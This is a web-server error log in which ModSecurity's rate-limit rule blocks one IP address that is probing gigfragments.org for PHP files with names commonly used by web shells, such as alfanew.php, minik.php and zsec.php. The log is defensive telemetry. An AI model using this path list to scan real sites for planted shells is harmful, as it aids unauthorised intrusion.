[Sat Jan 03 03:27:10.276185 2026] [:error] [pid 1930:tid 1978] [client 20.39.206.242:14741] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aVgcDpP-6mqhfUDa89y45QAAAEw"]
[Sat Jan 03 03:27:10.586797 2026] [:error] [pid 1930:tid 1971] [client 20.39.206.242:15223] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aVgcDpP-6mqhfUDa89y46AAAAEU"]
[Sat Jan 03 03:27:10.903648 2026] [:error] [pid 1930:tid 1975] [client 20.39.206.242:14733] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aVgcDpP-6mqhfUDa89y46QAAAEk"]
[Sat Jan 03 03:27:11.172336 2026] [:error] [pid 1929:tid 1955] [client 20.39.206.242:15181] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aVgcD-cFqdpu6TNsuWqxBgAAABE"]
[Sat Jan 03 03:27:11.482074 2026] [:error] [pid 1930:tid 1970] [client 20.39.206.242:15205] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aVgcD5P-6mqhfUDa89y47QAAAEQ"]
[Sat Jan 03 03:27:11.763692 2026] [:error] [pid 1930:tid 1981] [client 20.39.206.242:15207] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aVgcD5P-6mqhfUDa89y47gAAAE8"]
[Sat Jan 03 03:27:12.076466 2026] [:error] [pid 1930:tid 1983] [client 20.39.206.242:15168] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aVgcEJP-6mqhfUDa89y48AAAAFE"]
[Sat Jan 03 03:27:12.368721 2026] [:error] [pid 1931:tid 1996] [client 20.39.206.242:14743] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aVgcEB8Tyw7ZoIdXlcbZhAAAAII"]
[Sat Jan 03 03:27:12.667564 2026] [:error] [pid 1931:tid 2038] [client 20.39.206.242:15222] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aVgcEB8Tyw7ZoIdXlcbZhgAAAI4"]
[Sat Jan 03 03:27:12.992416 2026] [:error] [pid 2083:tid 2098] [client 20.39.206.242:14749] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aVgcEDVlR_BmlMPnhV6bYQAAAM0"]
[Sat Jan 03 03:27:13.273324 2026] [:error] [pid 2083:tid 2097] [client 20.39.206.242:14725] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aVgcETVlR_BmlMPnhV6bYwAAAMw"]
[Sat Jan 03 03:27:13.557889 2026] [:error] [pid 1930:tid 1985] [client 20.39.206.242:14767] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aVgcEZP-6mqhfUDa89y49gAAAFM"]
[Sat Jan 03 03:27:13.847947 2026] [:error] [pid 2083:tid 2096] [client 20.39.206.242:15219] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aVgcETVlR_BmlMPnhV6bZgAAAMs"]
[Sat Jan 03 03:27:14.176287 2026] [:error] [pid 2083:tid 2094] [client 20.39.206.242:15186] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aVgcEjVlR_BmlMPnhV6bawAAAMk"]
[Sat Jan 03 03:27:14.472627 2026] [:error] [pid 1930:tid 1990] [client 20.39.206.242:14745] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aVgcEpP-6mqhfUDa89y4-AAAAFg"]
[Sat Jan 03 03:27:14.814246 2026] [:error] [pid 1929:tid 1942] [client 20.39.206.242:15088] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aVgcEucFqdpu6TNsuWqxCQAAAAQ"]
[Sat Jan 03 03:27:15.145617 2026] [:error] [pid 1929:tid 1957] [client 20.39.206.242:14731] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aVgcE-cFqdpu6TNsuWqxCgAAABM"]
[Sat Jan 03 03:27:15.470864 2026] [:error] [pid 2083:tid 2101] [client 20.39.206.242:15209] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aVgcEzVlR_BmlMPnhV6bcwAAANA"]
[Sat Jan 03 03:27:15.832746 2026] [:error] [pid 2083:tid 2090] [client 20.39.206.242:14751] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aVgcEzVlR_BmlMPnhV6bdAAAAMU"]
[Sat Jan 03 03:27:16.158400 2026] [:error] [pid 1930:tid 1976] [client 20.39.206.242:15224] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aVgcFJP-6mqhfUDa89y4_AAAAEo"]
[Sat Jan 03 03:27:16.459971 2026] [:error] [pid 1929:tid 1958] [client 20.39.206.242:15199] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aVgcFOcFqdpu6TNsuWqxCwAAABQ"]
[Sat Jan 03 03:27:16.766280 2026] [:error] [pid 1930:tid 1986] [client 20.39.206.242:15194] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aVgcFJP-6mqhfUDa89y4_wAAAFQ"]
[Sat Jan 03 03:27:17.062518 2026] [:error] [pid 1931:tid 2040] [client 20.39.206.242:14750] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aVgcFR8Tyw7ZoIdXlcbZjwAAAJA"]
[Sat Jan 03 03:27:17.381103 2026] [:error] [pid 1929:tid 1952] [client 20.39.206.242:15076] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aVgcFecFqdpu6TNsuWqxDgAAAA4"]
[Sat Jan 03 03:27:17.735379 2026] [:error] [pid 1930:tid 1974] [client 20.39.206.242:14721] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aVgcFZP-6mqhfUDa89y5AQAAAEg"]
[Sat Jan 03 03:27:18.055157 2026] [:error] [pid 1930:tid 1977] [client 20.39.206.242:15070] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aVgcFpP-6mqhfUDa89y5AgAAAEs"]
[Sat Jan 03 03:27:18.332114 2026] [:error] [pid 2083:tid 2099] [client 20.39.206.242:15185] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zsec.php"] [unique_id "aVgcFjVlR_BmlMPnhV6bdwAAAM4"]
[Sat Jan 03 03:27:18.631322 2026] [:error] [pid 1930:tid 1988] [client 20.39.206.242:15056] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aVgcFpP-6mqhfUDa89y5AwAAAFY"]
[Sat Jan 03 03:27:18.915146 2026] [:error] [pid 1931:tid 2041] [client 20.39.206.242:14779] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aVgcFh8Tyw7ZoIdXlcbZlAAAAJE"]
[Sat Jan 03 03:27:19.255964 2026] [:error] [pid 1931:tid 2038] [client 20.39.206.242:14339] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aVgcFx8Tyw7ZoIdXlcbZlQAAAI4"]
[Sat Jan 03 03:27:19.525683 2026] [:error] [pid 1931:tid 2037] [client 20.39.206.242:15208] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/arig.php"] [unique_id "aVgcFx8Tyw7ZoIdXlcbZlwAAAI0"]
[Sat Jan 03 03:27:19.823658 2026] [:error] [pid 2083:tid 2085] [client 20.39.206.242:15218] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aVgcFzVlR_BmlMPnhV6beAAAAMA"]
[Sat Jan 03 03:27:20.113363 2026] [:error] [pid 1931:tid 1999] [client 20.39.206.242:15225] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aVgcGB8Tyw7ZoIdXlcbZmQAAAIM"]
[Sat Jan 03 03:27:20.388159 2026] [:error] [pid 2083:tid 2104] [client 20.39.206.242:14739] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aVgcGDVlR_BmlMPnhV6beQAAANM"]
[Sat Jan 03 03:27:20.657463 2026] [:error] [pid 1931:tid 2036] [client 20.39.206.242:14724] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aVgcGB8Tyw7ZoIdXlcbZmgAAAIw"]
[Sat Jan 03 03:27:20.972020 2026] [:error] [pid 1929:tid 1938] [client 20.39.206.242:15040] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aVgcGOcFqdpu6TNsuWqxEQAAAAA"]
[Sat Jan 03 03:27:21.247592 2026] [:error] [pid 1929:tid 1945] [client 20.39.206.242:15074] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aVgcGecFqdpu6TNsuWqxEgAAAAc"]
[Sat Jan 03 03:27:21.527100 2026] [:error] [pid 1931:tid 2046] [client 20.39.206.242:15206] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aVgcGR8Tyw7ZoIdXlcbZnwAAAJY"]
[Sat Jan 03 03:27:21.804985 2026] [:error] [pid 1931:tid 2044] [client 20.39.206.242:15047] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we2.php"] [unique_id "aVgcGR8Tyw7ZoIdXlcbZoQAAAJQ"]
[Sat Jan 03 03:27:22.120897 2026] [:error] [pid 1929:tid 1953] [client 20.39.206.242:15183] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aVgcGucFqdpu6TNsuWqxFgAAAA8"]
[Sat Jan 03 03:27:22.393598 2026] [:error] [pid 1931:tid 2043] [client 20.39.206.242:14742] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aVgcGh8Tyw7ZoIdXlcbZpQAAAJM"]
[Sat Jan 03 03:27:22.671237 2026] [:error] [pid 1930:tid 1968] [client 20.39.206.242:15090] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aVgcGpP-6mqhfUDa89y5BAAAAEI"]
[Sat Jan 03 03:27:22.943504 2026] [:error] [pid 1931:tid 2045] [client 20.39.206.242:15043] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/af32.php"] [unique_id "aVgcGh8Tyw7ZoIdXlcbZpwAAAJU"]
[Sat Jan 03 03:27:23.257956 2026] [:error] [pid 1930:tid 1987] [client 20.39.206.242:15041] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aVgcG5P-6mqhfUDa89y5BgAAAFU"]
[Sat Jan 03 03:27:23.574439 2026] [:error] [pid 1930:tid 1986] [client 20.39.206.242:15179] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aVgcG5P-6mqhfUDa89y5CQAAAFQ"]
[Sat Jan 03 03:27:23.859417 2026] [:error] [pid 2083:tid 2094] [client 20.39.206.242:15228] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aVgcGzVlR_BmlMPnhV6bfgAAAMk"]
[Sat Jan 03 03:27:24.159019 2026] [:error] [pid 1931:tid 2037] [client 20.39.206.242:14766] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rz.php"] [unique_id "aVgcHB8Tyw7ZoIdXlcbZqQAAAI0"]
[Sat Jan 03 03:27:24.440644 2026] [:error] [pid 1929:tid 1959] [client 20.39.206.242:14756] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aVgcHOcFqdpu6TNsuWqxGQAAABU"]
[Sat Jan 03 03:27:24.788917 2026] [:error] [pid 1929:tid 1962] [client 20.39.206.242:15048] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aVgcHOcFqdpu6TNsuWqxGwAAABg"]
[Sat Jan 03 03:27:25.115781 2026] [:error] [pid 2083:tid 2087] [client 20.39.206.242:14386] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aVgcHTVlR_BmlMPnhV6bfwAAAMI"]
[Sat Jan 03 03:27:25.419731 2026] [:error] [pid 2083:tid 2106] [client 20.39.206.242:14764] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hugo.php"] [unique_id "aVgcHTVlR_BmlMPnhV6bgAAAANU"]
[Sat Jan 03 03:27:25.709356 2026] [:error] [pid 2083:tid 2090] [client 20.39.206.242:15212] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aVgcHTVlR_BmlMPnhV6bggAAAMU"]
[Sat Jan 03 03:27:25.995960 2026] [:error] [pid 1930:tid 1969] [client 20.39.206.242:15063] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aVgcHZP-6mqhfUDa89y5DgAAAEM"]
[Sat Jan 03 03:27:26.294156 2026] [:error] [pid 1929:tid 1957] [client 20.39.206.242:14778] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aVgcHucFqdpu6TNsuWqxHAAAABM"]
[Sat Jan 03 03:27:26.588386 2026] [:error] [pid 1929:tid 1958] [client 20.39.206.242:14748] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aVgcHucFqdpu6TNsuWqxHQAAABQ"]
[Sat Jan 03 03:27:26.872844 2026] [:error] [pid 1930:tid 1979] [client 20.39.206.242:15216] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lzyrj.php"] [unique_id "aVgcHpP-6mqhfUDa89y5EQAAAE0"]
